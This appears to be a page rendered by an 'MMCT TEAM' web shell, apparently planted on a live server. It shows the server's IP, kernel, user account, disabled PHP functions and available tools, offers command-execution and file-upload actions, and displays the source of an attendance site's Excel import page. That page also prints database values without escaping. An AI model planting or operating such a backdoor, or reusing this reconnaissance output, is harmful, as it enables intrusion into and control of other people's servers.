MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/websites/attendance.rmpharma.in/excel/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/websites/attendance.rmpharma.in/excel/import.php
<?php
include("../include/config.inc.php");
?>
 <h2>Import Excel File into MySQL Database using PHP</h2>
    
    <div class="outer-container">
        <form action="process_import.php" method="post"
            name="frmExcelImport" id="frmExcelImport" enctype="multipart/form-data">
            <div>
                <label>Choose Excel
                    File</label> <input type="file" name="file"
                    id="file" accept=".xls,.xlsx">
                    <label>Course</label>
                    <select name="course_id">
                        <option> - - Select - - </option>
                        <?php
                            $courseQ=mysqli_query($con,"select * from course order by id desc");
                            while($courseR=mysqli_fetch_array($courseQ)){
                        ?>
                            <option value="<?=$courseR['id'];?>"><?=$courseR['name'];?></option>
                        <?php
                            }
                        ?>
                    </select>
                    <label>Session</label>
                    <select name="session_id">
                        <option> - - Select - - </option>
                        <?php
                            $sessionQ=mysqli_query($con,"select session.name,course.name as course_name,
                                session.id from session
                                left join course on course.id=session.course_id 
                                order by session.id desc");
                            while($sessionR=mysqli_fetch_array($sessionQ)){
                        ?>
                            <option value="<?=$sessionR['id'];?>"><?=$sessionR['course_name'];?> , <?=$sessionR['name'];?></option>
                        <?php
                            }
                        ?>
                    </select>
                <button type="submit" id="submit" name="import"
                    class="btn-submit">Import</button>
                
            </div>
        
        </form>
        
    </div>
    <div id="response" class="<?php if(!empty($type)) { echo $type . " display-block"; } ?>"><?php if(!empty($message)) { echo $message; } ?></div>
    
         
<?php
    $sqlSelect = "SELECT * FROM tbl_info";
    $result = mysqli_query($con, $sqlSelect);

if (mysqli_num_rows($result) > 0)
{
?>
        
    <table class='tutorial-table'>
        <thead>
            <tr>
                <th>Name</th>
                <th>Description</th>

            </tr>
        </thead>
<?php
    while ($row = mysqli_fetch_array($result)) {
?>                  
        <tbody>
        <tr>
            <td><?php  echo $row['name']; ?></td>
            <td><?php  echo $row['description']; ?></td>
        </tr>
<?php
    }
?>
        </tbody>
    </table>
<?php 
} 
?>

MMCT - 2023